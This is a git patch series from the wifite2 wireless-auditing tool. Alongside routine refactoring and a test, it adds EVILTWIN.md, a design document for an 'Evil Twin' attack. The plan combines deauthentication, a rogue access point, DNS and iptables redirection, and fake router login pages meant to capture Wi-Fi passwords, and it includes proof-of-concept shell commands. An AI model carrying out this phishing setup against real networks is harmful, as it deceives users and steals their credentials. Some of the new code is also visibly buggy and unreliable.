get_pin_psk_ssid(stdout): return (pin, psk, ssid) - def get_stdout(self): - ''' Gets output from stdout_file ''' - if not self.stdout_file: + + def get_output(self): + ''' Gets output from reaver's output file ''' + if not self.output_filename: return '' - with open(self.stdout_file, 'r') as fid: + + if self.output_write: + self.output_write.flush() + + with open(self.output_filename, 'r') as fid: stdout = fid.read() + + if Configuration.verbose > 1: + Color.pe('\n{P} [reaver:stdout] %s' % '\n [reaver:stdout] '.join(stdout.split('\n'))) + return stdout.strip() From 3d6f30af0a55335c275c0d5a6babfb8a9c328f7e Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 15 Apr 2018 05:57:36 -0400 Subject: [PATCH 26/52] Adding thoughts/ideas about an "Evil Twin" feature in Wifite. --- EVILTWIN.md | 209 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 209 insertions(+) create mode 100644 EVILTWIN.md diff --git a/EVILTWIN.md b/EVILTWIN.md new file mode 100644 index 000000000..3d87384e3 --- /dev/null +++ b/EVILTWIN.md @@ -0,0 +1,209 @@ +An idea from Sandman: Include "Evil Twin" attack in Wifite. + +This page tracks the requirements for such a feature. + +Evil Twin +========= + +[Fluxion](https://github.com/FluxionNetwork/fluxion) is a popular example of this attack. + +The attack requires multiple wireless cards: + +1. Hosts the twin. +2. Deauthenticates clients. + +As clients connect to the Evil Twin, they are redirected to a fake router login page. + +Clients enter the password to the target AP. The Evil Twin then: + +1. Captures the Wifi password, +2. Verifies Wifi password against the target AP, +3. If valid, all clients are deauthed from Evil Twin so they re-join the target AP. +4. Otherwise, tell the user the password is invalid and to "try again". GOTO step #1. + +Below are all of the requirements/components that Wifite would need to start & maintain. + +DHCP +==== +We need to auto-assign IP addresses to clients as they connect (via DHCP?). + + +DNS Redirects +============= +All DNS requests need to redirect to the webserver: + +1. So we clients are encouraged to login. +2. So we can intercept health-checks by Apple/Google + + +Rogue AP, Server IP Address, etc +================================ +Probably a few ways to do this in Linux; should use the most reliable & supported method. + +Mainly we need to: + +1. Spin up the Webserver on some port (8000) +2. Start the Rogue AP +3. Assign localhost on port 8000 to some subnet IP (192.168.1.254) +4. Start DNS-redirecting all hostnames to 192.168.1.254. +5. Start DHCP to auto-assign IPs to incoming clients. +6. Start deauthing clients of the real AP. + + +I think steps 3-5 can be applied to a specific wireless card (interface). + +* TODO: More details on how to start the fake AP, assign IPs, DHCP, DNS, etc. +* TODO: Should the Evil Twin spoof the real AP's hardware MAC address? + + +Website +======= + +Router Login Pages +------------------ +These are different for every vendor. + +Fluxion has a repo with fake login pages for a lot of popular router vendors ([FluxionNetwork/sites](https://github.com/FluxionNetwork/sites)). That repo includes sites in various languages. + +We need just the base router page HTML (Title/logo) and CSS (colors/font) for popular vendors. + +We also need a "generic" login page in case we don't have the page for a vendor. + +1. Web server to host HTML, images, fonts, and CSS that the vendor uses. +3. Javascript to send the password to the webserver + + +Language Support +---------------- +Note: Users should choose the language to host; they know better than any script detection. + +Each router page will have a warning message telling the client they need to enter the Wifi password: + * "Password is required after a router firmware update" + +The Login page content (HTML/images/css) could be reduced to just the logo and warning message. No navbars/sidebars/links to anything else. + +Then only the warning message needs to be templatized by-language (we only need one sentence per language). + +That would avoid the need for separate "sites" for each Vendor *and* language. + +But we probably need other labels to be translated as well: + +* Title of page ("Router Login Page") +* "Password:" +* "Re-enter Password:" +* "Reconnect" or "Login" + +...So 5 sentences per language. Not bad. + +The web server could send a Javascript file containing the language variable values: + +```javascript +document.title = 'Router Login'; +document.querySelector('#warn').textContent('You need to login after router firmware upgrade.'); +document.querySelector('#pass').textContent('Password:'); +// ... +``` + + +One HTML File +------------- +We can compact everything into a single HTML file: + +1. Inline CSS +2. Inline images (base64 image/jpg) +3. Some placeholders for the warning message, password label, login button. + +This would avoid the "lots of folders" problem; one folder for all .html files. + +E.g. `ASUS.html` can be chosen when the target MAC vendor contains `ASUS`. + + +AJAX Password Submission +------------------------ +The website needs to send the password to the webserver, likely through some endpoint (e.g. `./login.cgi?password1=...&password2=...`). + +Easy to do in Javascript (via a simple `

` or even `XMLHttpRequest`). + + +Webserver +========= +The websites served by the webserver is dynamic and depends on numerous variables. + +We want to utilize the CGIHTTPServer in Python which would make some the logic easier to track. + +Spoofing Health Checks +---------------------- +Some devices (Android, iOS, Windows?) verify the AP has an internet connection by requesting some externally-hosted webpage. + +We want to spoof those webpages *exactly* so the client's device shows the Evil Twin as "online". + +Fluxion does this [here](https://github.com/FluxionNetwork/fluxion/tree/master/attacks/Captive%20Portal/lib/connectivity%20responses) (called *"Connectivity Responses"*). + +Specifically [in the `lighttpd.conf` here](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/attacks/Captive%20Portal/attack.sh#L687-L698). + +Requirements: + +* Webserver detects requests to these health-check pages and returns the expected response (HTML, 204, etc). + +HTTPS +----- +What if Google, Apple requires HTTPS? Can we spoof the certs somehow? Or redirect to HTTP? + + +Spoofing Router Login Pages +--------------------------- +We can detect the router vendor based on the MAC address. + +If we have a fake login page for that vendor, we serve that. + +Otherwise we serve a generic login page. + + +Password Capture +---------------- +Webserver needs to know when a client enters a password. + +This can be accomplished via a simple CGI endpoint or Python script. + +E.g. `login.cgi` which reads `password1` and `password2` from the query string. + + +Password Validation +------------------- +The Webserver needs to know when the password is valid. + +This requires connecting to the target AP on an unused wireless card: + +1. First card is hosting the webserver. It would be awkward if that went down. +2. Second card is Deauthing clients. This could be 'paused' while validating the password, but that may allow clients to connect to the target AP. +3. ...A third wifi card may make this cleaner. + + +Evil Webserver & Deauth Communication +------------------------------------- +The access point hosting the Evil Twin needs to communicate with the Deauth mechanism: + +1. Which BSSIDs to point to the Evil Twin, +2. Which BSSIDs to point to the real AP. + +Since the webserver needs to run for the full length of th attack, we could control the state of the attack inside the webserver. + +So the webserver would need to maintain: + +1. List of BSSIDs to deauth from real AP (so they join Evil Twin), +2. List of BSSIDs to deauth from Evil Twin (so they join real AP), +3. Background process which is deauthing the above BSSIDs on a separate wireless card. + +I am not sure how feasible this is in Python; we could also resort to using static files to store the stage (e.g. JSON file with BSSIDs and current step -- e.g. "Shutting down" or "Waiing for password"). + + +Success & Cleanup +----------------- +When the password is found, we want to send a "success" message to the AJAX request, so the user gets instant feedback (and maybe a "Reconnecting..." message). + +During shutdown, we need to deauth all clients from the Evil Twin so they re-join the real AP. + +This deauthing should continue until all clients are deauthenticated from the Evil Twin. + +Then the script can be stopped. + From 64c0662d3011ff6c94a80d06ac22dbc0e82fcc76 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 15 Apr 2018 06:09:38 -0400 Subject: [PATCH 27/52] More Evil Twin ideas. --- EVILTWIN.md | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/EVILTWIN.md b/EVILTWIN.md index 3d87384e3..f92b4dfa3 100644 --- a/EVILTWIN.md +++ b/EVILTWIN.md @@ -21,7 +21,8 @@ Clients enter the password to the target AP. The Evil Twin then: 3. If valid, all clients are deauthed from Evil Twin so they re-join the target AP. 4. Otherwise, tell the user the password is invalid and to "try again". GOTO step #1. -Below are all of the requirements/components that Wifite would need to start & maintain. +Below are all of the requirements/components that Wifite would need for this feature. + DHCP ==== @@ -56,6 +57,16 @@ I think steps 3-5 can be applied to a specific wireless card (interface). * TODO: Should the Evil Twin spoof the real AP's hardware MAC address? +DEAUTHING +========= +Easy to do using [MDK](https://tools.kali.org/wireless-attacks/mdk3) or `aireplay-ng`. + +I think MDK is a better tool for this job, but Wifite already requires the `aircrack` suite, so we should support both. + +TODO: Require MDK if it is miles-ahead of `aireplay-ng` +TODO: Figure out MDK commands for persistent deauths; if we can provide a list of client MAC addresses & BSSIDs. + + Website ======= @@ -131,6 +142,7 @@ The websites served by the webserver is dynamic and depends on numerous variable We want to utilize the CGIHTTPServer in Python which would make some the logic easier to track. + Spoofing Health Checks ---------------------- Some devices (Android, iOS, Windows?) verify the AP has an internet connection by requesting some externally-hosted webpage. @@ -145,6 +157,9 @@ Requirements: * Webserver detects requests to these health-check pages and returns the expected response (HTML, 204, etc). +TODO: Go through Fluxion to know hostnames/paths and expected responses for Apple & Google devices. + + HTTPS ----- What if Google, Apple requires HTTPS? Can we spoof the certs somehow? Or redirect to HTTP? @@ -158,6 +173,8 @@ If we have a fake login page for that vendor, we serve that. Otherwise we serve a generic login page. +TODO: Can we use macchanger to detect vendor, or have some mapping of `BSSID_REGEX -> HTML_FILE`? + Password Capture ---------------- @@ -178,6 +195,9 @@ This requires connecting to the target AP on an unused wireless card: 2. Second card is Deauthing clients. This could be 'paused' while validating the password, but that may allow clients to connect to the target AP. 3. ...A third wifi card may make this cleaner. +TODO: The exact commands to verify Wifi passwords in Linux; I'm guessing we have to use `wpa_supplicant` and the like. +TODO: Choose the fastest & most-relaiable method for verifying wifi paswords + Evil Webserver & Deauth Communication ------------------------------------- @@ -196,6 +216,9 @@ So the webserver would need to maintain: I am not sure how feasible this is in Python; we could also resort to using static files to store the stage (e.g. JSON file with BSSIDs and current step -- e.g. "Shutting down" or "Waiing for password"). +TODO: See if the CGIHTTPServer has some way we can maintain/alter background threads. +TODO: See how hard it would be to maintain state in the CGIHTTPServer (do we have to use the filesystem?) + Success & Cleanup ----------------- From 42781dedcc6c6181ce67311fa4a0bf83bd7b6fa0 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 15 Apr 2018 23:10:47 -0400 Subject: [PATCH 28/52] Added Airmon-ng test. --- tests/test_Airmon.py | 24 ++++++++++++++++++++++++ wifite/tools/airmon.py | 25 +++++++++++++++---------- 2 files changed, 39 insertions(+), 10 deletions(-) create mode 100644 tests/test_Airmon.py diff --git a/tests/test_Airmon.py b/tests/test_Airmon.py new file mode 100644 index 000000000..0f3c1a940 --- /dev/null +++ b/tests/test_Airmon.py @@ -0,0 +1,24 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import sys +sys.path.insert(0, '..') + +from wifite.tools.airmon import Airmon + +import unittest + +class TestAirmon(unittest.TestCase): + def test_airmon_start(self): + # From https://github.com/derv82/wifite2/issues/67 + stdout = ''' +PHY Interface Driver Chipset + +phy0 wlan0 iwlwifi Intel Corporation Centrino Ultimate-N 6300 (rev 3e) + + (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) + (mac80211 station mode vif disabled for [phy0]wlan0) +''' + mon_iface = Airmon._parse_airmon_start(stdout) + assert mon_iface == 'wlan0mon', 'Expected monitor-mode interface to be "wlan0mon" but got "{}"'.format(mon_iface) + diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index feb3bedc8..e6002ca05 100755 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -101,16 +101,7 @@ def start(iface): Color.p("{+} enabling {G}monitor mode{W} on {C}%s{W}... " % iface) (out,err) = Process.call('airmon-ng start %s' % iface) - # Find the interface put into monitor mode (if any) - mon_iface = None - for line in out.split('\n'): - if 'monitor mode' in line and 'enabled' in line and ' on ' in line: - mon_iface = line.split(' on ')[1] - if ']' in mon_iface: - mon_iface = mon_iface.split(']')[1] - if ')' in mon_iface: - mon_iface = mon_iface.split(')')[0] - break + mon_iface = Airmon._parse_airmon_start(out) if mon_iface is None: # Airmon did not enable monitor mode on an interface @@ -138,6 +129,20 @@ def start(iface): return mon_iface + @staticmethod + def _parse_airmon_start(stdout): + # Find the interface put into monitor mode (if any) + mon_iface = None + for line in stdout.split('\n'): + if 'monitor mode' in line and 'enabled' in line and ' on ' in line: + mon_iface = line.split(' on ')[1] + if ']' in mon_iface: + mon_iface = mon_iface.split(']')[1] + if ')' in mon_iface: + mon_iface = mon_iface.split(')')[0] + break + return mon_iface + @staticmethod def stop(iface): From d92e3a6f92dd5e49df7365377f1eb96e631353d4 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 15 Apr 2018 23:18:40 -0400 Subject: [PATCH 29/52] Adding info about creating Evil Twin AP. --- EVILTWIN.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/EVILTWIN.md b/EVILTWIN.md index f92b4dfa3..49acd0661 100644 --- a/EVILTWIN.md +++ b/EVILTWIN.md @@ -50,11 +50,14 @@ Mainly we need to: 5. Start DHCP to auto-assign IPs to incoming clients. 6. Start deauthing clients of the real AP. - I think steps 3-5 can be applied to a specific wireless card (interface). * TODO: More details on how to start the fake AP, assign IPs, DHCP, DNS, etc. + * Fluxion using `hostapd`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L59-L64) + * Kali "Evil Wireless AP" (uses `hostapd`): [article](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) + * Fluxion using `airbase-ng`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/airbase-ng.sh#L76-L77) * TODO: Should the Evil Twin spoof the real AP's hardware MAC address? + * Yes, looks like that's what Fluxion does ([code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L66-L74)). DEAUTHING From 978973e507ba2774a8b7923970aa7e3f3266ddfb Mon Sep 17 00:00:00 2001 From: derv82 Date: Tue, 17 Apr 2018 02:11:23 -0400 Subject: [PATCH 30/52] Added note to improve dependency handling. --- TODO.md | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/TODO.md b/TODO.md index e3a909cb9..a458b722f 100644 --- a/TODO.md +++ b/TODO.md @@ -4,6 +4,29 @@ This file is a braindump of ideas to improve Wifite2 (or forward-looking to "Wif ------------------------------------------------------ +### Better Dependency Handling +I can rely on `pip` + `requirements.txt` for python libraries, but most of wifite's dependencies are installed programs. + +When a dependency is not found, Wifite should walk the user through installing all required dependencies, and maybe the optional dependencies as well. + +The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc). + +Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achive this. + +Requirements: + +1. A base *Dependency* class + * `@abstractmethods` for `exists()`, `name()`, `install()`, `print_install()` +2. Update all dependencies to inherit *Dependency* + * Override abstract methods +3. Dependency-checker to run at Wifite startup. + * Check if all required dependencies exists. + * If required deps are missing, Prompt to install all (optional+required) or just required, or to continue w/o install with warning. + * If optional deps are missing, suggest `--install` without prompting. + * Otherwise continue silently. + +------------------------------------------------------ + ### Support Other Distributions (not just Kali x86/64) Off the top of my head: From c13021266e5bf3465bb0a3f21a24988ae25a4dbd Mon Sep 17 00:00:00 2001 From: derv82 Date: Tue, 17 Apr 2018 02:13:12 -0400 Subject: [PATCH 31/52] Including more info on Rogue AP requirements (hostapd/dnsmasq) --- EVILTWIN.md | 101 +++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 100 insertions(+), 1 deletion(-) diff --git a/EVILTWIN.md b/EVILTWIN.md index 49acd0661..8fdb10999 100644 --- a/EVILTWIN.md +++ b/EVILTWIN.md @@ -60,9 +60,108 @@ I think steps 3-5 can be applied to a specific wireless card (interface). * Yes, looks like that's what Fluxion does ([code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L66-L74)). +ROGUE AP +======== +Gleaned this info from: + +* ["Setting up wireless access point in Kali"](https://www.psattack.com/articles/20160410/setting-up-a-wireless-access-point-in-kali/) by PSAttack +* ["Kali Linux Evil Wireless Access Point"](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) by OffensiveSecurity + + +HOSTAPD +------- +* Starts access point. +* Not included in Kali by-default. +* Installable via `apt-get install hostapd`. +* [Docs](https://wireless.wiki.kernel.org/en/users/documentation/hostapd) + +Config file format (e.g. `~/hostapd.conf`): + +``` +driver=nl80211 # 'nl80211' appears in all hostapd tutorials I've found. +ssid=$EVIL_SSID # SSID/name of Evil Twin (should match target's) +hw_mode=$BAND # Wifi Band, e.g. "g" or "g+n" +channel=$CHANNEL # Numeric, e.g. "6' +``` + +Run: + +``` +hostapd ~/hostapd.conf -i wlan0 +``` + + +DNSMASQ +------- + +* Included in Kali. +* Installable via `apt-get install dnsmasq` +* Handles DNS and DHCP. +* [Install & Overview](http://www.thekelleys.org.uk/dnsmasq/doc.html), [Manpage](http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html) + +Config file format (e.g. `~/dnsmasq.conf`): + +``` +interface=wlan0 +dhcp-range=10.0.0.10,10.0.0.250,12h +dhcp-option=3,10.0.0.1 +dhcp-option=6,10.0.0.1 +#no-resolv +server=8.8.8.8 +log-queries +log-dhcp + +# Redirect all requests (# is wildcard) to IP of evil web server: +# TODO: We should rely on iptables, right? Otherwise this redirects traffic from all ports... +#address=/#/192.168.1.254 +``` + +"DNS Entries" file format (`~/dns_entries`): + +``` +[DNS Name] [IP Address] +# TODO: Are wildcards are supported? +* 192.168.1.254 # IP of web server +``` + +Run: + +``` +dnsmasq -C ~/dnsmasq.conf -H ~/dns_entries +``` + +IPTABLES +-------- +From [this thread on raspberrypi.org](https://www.raspberrypi.org/forums/viewtopic.php?p=288263&sid=b6dd830c0c241a15ac0fe6930a4726c9#p288263) + +> *Use iptables to redirect all traffic directed at port 80 to the http server on the Pi* +> `sudo iptables -t nat -A PREROUTING -d 0/0 -p tcp –dport 80 -j DNAT –to 192.168.1.254:80` + +And from Andreas Wiese on [UnixExchange](https://unix.stackexchange.com/a/125300) + +> *You could get this with a small set of iptables rules redirecting all traffic to port 80 and 443 your AP's address:* +> `# iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80` +> `# iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination localhost:80` + +TODO: + +* What about HTTPS traffic (port 443)? + * We want to avoid browser warnings (scary in Chrome & Firefox). + + DEAUTHING ========= -Easy to do using [MDK](https://tools.kali.org/wireless-attacks/mdk3) or `aireplay-ng`. +While hosting the Evil Twin + Web Server, we need to deauthenticate clients from the target AP so they join the Evil Twin. + +Listening +--------- +We need to listen for more clients and automatically start deauthing new clients as they appear. + +This might be supported by existing tools... + +MDK +--- +Deauthing & DoS is easy to do using [MDK](https://tools.kali.org/wireless-attacks/mdk3) or `aireplay-ng`. I think MDK is a better tool for this job, but Wifite already requires the `aircrack` suite, so we should support both. From 830e3794feddf0de37fa309d434656f29e58a7f3 Mon Sep 17 00:00:00 2001 From: derv82 Date: Tue, 17 Apr 2018 14:15:34 -0400 Subject: [PATCH 32/52] Added "proof-of-concept" commands to start AP & redirect traffic --- EVILTWIN.md | 50 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) diff --git a/EVILTWIN.md b/EVILTWIN.md index 8fdb10999..0d6a6f507 100644 --- a/EVILTWIN.md +++ b/EVILTWIN.md @@ -147,6 +147,8 @@ TODO: * What about HTTPS traffic (port 443)? * We want to avoid browser warnings (scary in Chrome & Firefox). + * Don't think we can send a 302 redirect to port 80 without triggering the invalid certificate issue. + * sslstrip may get around this... DEAUTHING @@ -332,3 +334,51 @@ This deauthing should continue until all clients are deauthenticated from the Ev Then the script can be stopped. + +Proof of Concept +================ + +Start AP and capture all port-80 traffic: + +``` +ifconfig wlan0 10.0.0.1/24 up + +# start dnsmasq for dhcp & dns resolution (runs in background) +killall dnsmasq +dnsmasq -C dnsmasq.conf + +# reroute all port-80 traffic to our machine +iptables -N internet -t mangle +iptables -t mangle -A PREROUTING -j internet +iptables -t mangle -A internet -j MARK --set-mark 99 +iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1 +echo "1" > /proc/sys/net/ipv4/ip_forward +iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT +iptables -A FORWARD -m mark --mark 99 -j REJECT +iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT +iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE + +# start wifi access point (new terminal) +killall hostapd +hostapd ./hostapd.conf -i wlan0 + +# start webserver on port 80 (new terminal) +python -m SimpleHTTPServer 80 +``` + +Cleanup: + +``` +# stop processes +# ctrl+c hostapd +# ctrl+c python simple http server +killall dnsmasq + +# reset iptables +iptables -F +iptables -X +iptables -t nat -F +iptables -t nat -X +iptables -t mangle -F +iptables -t mangle -X +``` From f6fb7d688e57c7e585c4433b617688c45ce4482e Mon Sep 17 00:00:00 2001 From: derv82 Date: Tue, 17 Apr 2018 14:35:22 -0400 Subject: [PATCH 33/52] Adding SniffAir documentation --- EVILTWIN.md | 1 + 1 file changed, 1 insertion(+) diff --git a/EVILTWIN.md b/EVILTWIN.md index 0d6a6f507..42c9475c3 100644 --- a/EVILTWIN.md +++ b/EVILTWIN.md @@ -66,6 +66,7 @@ Gleaned this info from: * ["Setting up wireless access point in Kali"](https://www.psattack.com/articles/20160410/setting-up-a-wireless-access-point-in-kali/) by PSAttack * ["Kali Linux Evil Wireless Access Point"](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) by OffensiveSecurity +* ["SniffAir" hostapd script](https://github.com/Tylous/SniffAir/blob/master/module/hostapd.py) HOSTAPD From bd13bf69cf4acb18b602252d65737d1612d0d291 Mon Sep 17 00:00:00 2001 From: derv82 Date: Tue, 17 Apr 2018 18:27:25 -0400 Subject: [PATCH 34/52] testing discord https://discord.gg/Zc7Ej8D [discord for wifite](https://discord.gg/Zc7Ej8D) --- EVILTWIN.md | 1 + 1 file changed, 1 insertion(+) diff --git a/EVILTWIN.md b/EVILTWIN.md index 42c9475c3..9ca123546 100644 --- a/EVILTWIN.md +++ b/EVILTWIN.md @@ -383,3 +383,4 @@ iptables -t nat -X iptables -t mangle -F iptables -t mangle -X ``` + From 3542381b3effe552e1700e758fbf4ca83ea7e733 Mon Sep 17 00:00:00 2001 From: derv82 Date: Wed, 18 Apr 2018 06:15:14 -0400 Subject: [PATCH 35/52] Move Ifconfig and Iwconfig logic to separate classes. --- wifite/config.py | 7 +++-- wifite/model/interface.py | 62 +++++++++++++------------------------- wifite/tools/airmon.py | 36 +++++++++++----------- wifite/tools/ifconfig.py | 53 ++++++++++++++++++++++++++++++++ wifite/tools/iwconfig.py | 38 +++++++++++++++++++++++ wifite/tools/macchanger.py | 22 +++++++------- wifite/wifite.py | 4 +-- 7 files changed, 147 insertions(+), 75 deletions(-) create mode 100644 wifite/tools/ifconfig.py create mode 100644 wifite/tools/iwconfig.py diff --git a/wifite/config.py b/wifite/config.py index b3a6f8462..6b73ce275 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -100,11 +100,11 @@ def initialize(load_interface=True): Configuration.load_from_arguments() if load_interface: - Configuration.get_interface() + Configuration.get_monitor_mode_interface() @staticmethod - def get_interface(): + def get_monitor_mode_interface(): if Configuration.interface is None: # Interface wasn't defined, select it! from .tools.airmon import Airmon @@ -112,6 +112,9 @@ def get_interface(): if Configuration.random_mac: Macchanger.random() + @staticmethod + def get_wireless_interface(): + pass @staticmethod def load_from_arguments(): diff --git a/wifite/model/interface.py b/wifite/model/interface.py index 007f58bfb..61aa6d4ea 100755 --- a/wifite/model/interface.py +++ b/wifite/model/interface.py @@ -1,6 +1,7 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- +from ..tools.ifconfig import Ifconfig from ..util.color import Color import re @@ -10,13 +11,6 @@ class Interface(object): Represents an 'interface' known by airmon-ng ''' - # Max length of fields. - # Used for printing a table of interfaces. - PHY_LEN = 6 - NAME_LEN = 12 - DRIVER_LEN = 20 - CHIPSET_LEN = 30 - def __init__(self, fields): ''' Initializes & stores info about an interface. @@ -24,7 +18,7 @@ def __init__(self, fields): Args: Fields - list of fields 0: PHY - 1: NAME + 1: INTERFACE 2: DRIVER 3: CHIPSET ''' @@ -38,42 +32,35 @@ def __init__(self, fields): if len(fields) != 4: raise Exception("Expected 4, got %d in %s" % (len(fields), fields)) self.phy = fields[0].strip() - self.name = fields[1].strip() + self.interface = fields[1].strip() self.driver = fields[2].strip() self.chipset = fields[3].strip() + # Max length of fields. + # Used for printing a table of interfaces. + PHY_LEN = 6 + INTERFACE_LEN = 12 + DRIVER_LEN = 20 + CHIPSET_LEN = 30 + def __str__(self): ''' Colored string representation of interface ''' - s = Color.s("{W}%s" % self.phy) - s += ' ' * max(Interface.PHY_LEN - len(self.phy), 0) - - s += Color.s("{G}%s" % self.name) - s += ' ' * max(Interface.NAME_LEN - len(self.name), 0) - - s += Color.s("{C}%s" % self.driver) - s += ' ' * max(Interface.DRIVER_LEN - len(self.driver), 0) - - s += Color.s("{W}%s" % self.chipset) - s += ' ' * max(Interface.CHIPSET_LEN - len(self.chipset), 0) + s = Color.s('{W}%s' % self.phy.ljust(self.PHY_LEN)) + s += Color.s('{G}%s' % self.interface.ljust(self.INTERFACE_LEN)) + s += Color.s('{C}%s' % self.driver.ljust(self.DRIVER_LEN)) + s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN)) return s @staticmethod def menu_header(): ''' Colored header row for interfaces ''' s = ' ' - s += 'PHY' - s += ' ' * (Interface.PHY_LEN - len("PHY")) - - s += 'Interface' - s += ' ' * (Interface.NAME_LEN - len("Interface")) - s += 'Driver' - s += ' ' * (Interface.DRIVER_LEN - len("Driver")) - - s += 'Chipset' - s += ' ' * (Interface.CHIPSET_LEN - len("Chipset")) - - s += '\n---' - s += '-' * (Interface.PHY_LEN + Interface.NAME_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN) + s += 'PHY'.ljust(Interface.PHY_LEN) + s += 'Interface'.ljust(Interface.INTERFACE_LEN) + s += 'Driver'.ljust(Interface.DRIVER_LEN) + s += 'Chipset'.ljust(Interface.CHIPSET_LEN) + s += '\n' + s += '-' * (Interface.PHY_LEN + Interface.INTERFACE_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN + 3) return s @staticmethod @@ -87,14 +74,7 @@ def get_mac(iface=None): if iface is None: raise Exception('Interface must be defined (-i)') - output = Process(['ifconfig', iface]).stdout() - mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1] - match = re.search(' (%s)' % mac_regex, output) - if not match: - match = re.search('unspec (%s)' % mac_regex, output) - if not match: - raise Exception('Could not find the mac address for %s' % iface) - return match.groups()[0].replace('-', ':') + Ifconfig.get_mac(iface) if __name__ == '__main__': mac = Interface.get_mac() diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index e6002ca05..b8bf2a615 100755 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -2,6 +2,8 @@ # -*- coding: utf-8 -*- from ..model.interface import Interface +from ..tools.ifconfig import Ifconfig +from ..tools.iwconfig import Iwconfig from ..util.process import Process from ..util.color import Color from ..util.input import raw_input @@ -63,7 +65,10 @@ def get_interfaces(): @staticmethod def start_baddriver(iface): #fix for bad drivers like the rtl8812AU - os.system("ifconfig %s down; iwconfig %s mode monitor; ifconfig %s up" % (iface, iface, iface)) + Ifconfig.down(iface) + Iwconfig.mode(iface, 'monitor') + Ifconfig.up(iface) + with open("/sys/class/net/" + iface + "/type", "r") as f: if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP): return iface @@ -72,7 +77,10 @@ def start_baddriver(iface): #fix for bad drivers like the rtl8812AU @staticmethod def stop_baddriver(iface): - os.system("ifconfig %s down; iwconfig %s mode managed; ifconfig %s up" % (iface, iface, iface)) + Ifconfig.down(iface) + Iwconfig.mode(iface, 'managed') + Ifconfig.up(iface) + with open("/sys/class/net/" + iface + "/type", "r") as f: if (int(f.read()) == Airmon.ARPHRD_ETHER): return iface @@ -94,7 +102,7 @@ def start(iface): ''' # Get interface name from input if type(iface) == Interface: - iface = iface.name + iface = iface.interface Airmon.base_interface = iface # Call airmon-ng @@ -181,17 +189,7 @@ def get_interfaces_in_monitor_mode(): Returns: List of interface names that are in monitor mode ''' - interfaces = [] - (out, err) = Process.call("iwconfig") - for line in out.split("\n"): - if len(line) == 0: continue - if line[0] != ' ': - iface = line.split(' ')[0] - if '\t' in iface: - iface = iface.split('\t')[0] - if 'Mode:Monitor' in line and iface not in interfaces: - interfaces.append(iface) - return interfaces + return Iwconfig.get_interfaces(mode='Monitor') @staticmethod @@ -242,11 +240,11 @@ def ask(): iface = a.get(choice) - if a.get(choice).name in mon_ifaces: - Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name) + if a.get(choice).interface in mon_ifaces: + Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.interface) else: - iface.name = Airmon.start(iface) - return iface.name + iface.interface = Airmon.start(iface) + return iface.interface @staticmethod @@ -297,7 +295,7 @@ def terminate_conflicting_processes(): @staticmethod def put_interface_up(iface): Color.p("{!} {O}putting interface {R}%s up{O}..." % (iface)) - (out,err) = Process.call('ifconfig %s up' % (iface)) + Ifconfig.up(iface) Color.pl(" {R}done{W}") @staticmethod diff --git a/wifite/tools/ifconfig.py b/wifite/tools/ifconfig.py new file mode 100644 index 000000000..b0de5a897 --- /dev/null +++ b/wifite/tools/ifconfig.py @@ -0,0 +1,53 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +import re + +class Ifconfig(object): + + @classmethod + def up(cls, interface, args=[]): + '''Put interface up''' + from ..util.process import Process + + command = ['ifconfig', interface, 'up'] + if type(args) is list: + command.extend(args) + elif type(args) is 'str': + command.append(args) + + pid = Process(command) + pid.wait() + return pid.poll() == 0 + + + @classmethod + def down(cls, interface): + '''Put interface down''' + from ..util.process import Process + + command = ['ifconfig', interface, 'down'] + if type(args) is list: + command.extend(args) + elif type(args) is 'str': + command.append(args) + + pid = Process(command) + pid.wait() + return pid.poll() == 0 + + + @classmethod 